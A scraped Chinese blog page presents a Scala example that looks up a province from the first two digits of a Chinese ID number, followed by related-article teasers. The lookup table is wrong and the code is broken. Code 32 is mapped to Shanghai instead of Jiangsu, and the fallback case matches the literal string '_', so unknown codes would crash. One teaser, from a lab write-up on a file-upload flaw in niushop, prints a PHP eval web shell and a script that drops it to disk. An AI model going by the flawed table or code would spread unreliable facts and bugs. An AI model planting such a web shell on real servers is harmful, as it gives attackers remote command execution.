Scala——身份证号码查询籍贯

embedded/2024/12/24 7:18:43/

object Test_身份证查询籍贯 {

  def main(args: Array[String]): Unit = {

    val code = "42005200210030051".substring(0,2)

    println(code)

    //判断42是哪个省的

    //湖北

// if(code == "42"){

// println("42对应省份为:湖北")

// }else if(code =="33"){

// println("浙江")

// }else{

// println()

// }

 

    val province = code match {

      case "11" => "北京"

      case "12" => "天津"

      case "13" => "河北"

      case "14" => "山西"

      case "15" => "内蒙古"

      case "21" => "辽宁"

      case "22" => "吉林"

      case "23" => "黑龙江"

      case "31" => "上海"

      case "32" => "上海"

      case "33" => "浙江"

      case "34" => "安徽"

      case "35" => "福建"

      case "36" => "江西"

      case "37" => "山东"

      case "41" => "河南"

      case "42" => "湖北"

      case "43" => "湖南"

      case "44" => "广东"

      case "45" => "广西"

      case "46" => "海南"

      case "50" => "重庆"

      case "51" => "四川"

      case "52" => "贵州"

      case "53" => "云南"

      case "54" => "西藏"

      case "61" => "陕西"

      case "62" => "甘肃"

      case "63" => "青海"

      case "64" => "宁夏"

      case "65" => "新疆"

      case "71" => "台湾"

      case "81" => "香港"

      case "82" => "澳门"

      case "91" => "国外"

      case "_" => "未知"

    }

    println(province)

  }

}

根据1,2,3,4,5,6,7 --> 对应 的星期的英文:

f894a26349534481bfb48ec289ac7bdf.png

d74564edf77a4eb994e68e88fb26d09f.png 

1ce5bb18ba134fb98a4491df817cb363.png 

 


http://www.ppmy.cn/embedded/148272.html

相关文章

探索 AnythingLLM:借助开源 AI 打造私有化智能知识库

探索如何使用开源项目 AnythingLLM 构建私有化智能知识库。通过 RAG 技术,将文档转化为可检索向量,结合大语言模型实现高效问答,适用于企业与个人开发者。 阅读原文请转到:https://jimmysong.io/blog/building-private-ai-knowled…

VBA之正则表达式(48)-- 快速拆分中文语句

实例需求:对于任意一段文字,按照中文标点符号拆分为数组,并在立即窗口输出。 例如对于如下内容: 本文为博主原创文章,未经博主允许不得转载。访问本人博客123,测试完成VBE【立即窗口】中输出为&#xff1…

使用 OpenCV 训练自己的模型库并通过cv2引用实现摄像头跟踪

一、训练自己的模型库 数据收集 采集图像:收集包含要检测对象的大量图像,例如人脸、车辆、物体等。对于人脸检测,可从不同角度、光照条件、表情和背景下拍摄人脸照片,以增加数据的多样性和鲁棒性。标注图像:对收集到的…

niushop开源商城靶场漏洞

文件上传漏洞 先注册一个账号 来到个人信息修改个人头像 选择我们的马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?> 在…

CentOS上安装NTP并配置时间同步

在CentOS上安装NTP并配置阿里云提供的NTP服务器进行时间同步&#xff0c;可以按照以下步骤操作。阿里云提供了稳定的时间同步服务&#xff0c;有助于确保你的系统时间准确。 1. 更新系统包 首先&#xff0c;确保你的系统是最新的&#xff1a; sudo yum update -y 2. 安装 N…

AR眼镜制备的步骤与关键技术

AR&#xff08;增强现实&#xff09;眼镜的制备涉及多个步骤和关键技术&#xff0c;涵盖硬件设计、软件开发以及系统集成。以下是详细的步骤和关键技术&#xff1a; 1. 硬件设计与制造 1.1 光学显示系统 关键技术&#xff1a; 波导技术&#xff1a;如光栅波导、全息波导、衍射…

单片机:实现自动关机电路(附带源码)

单片机实现自动关机电路 在许多嵌入式系统或便携式设备中&#xff0c;自动关机功能非常重要&#xff0c;尤其是在电池供电的设备中&#xff0c;防止设备长时间开启以节省电能。自动关机电路的基本功能是检测设备是否处于待机状态&#xff0c;若一定时间内未收到用户操作信号或…

光谱相机在农业的应用

一、作物生长监测1、营养状况评估 原理&#xff1a;不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如&#xff0c;氮元素是植物叶绿素的重要组成部分&#xff0c;植物缺氮时&#xff0c;叶绿素含量下降&#xff0c;其在可见光波段&a…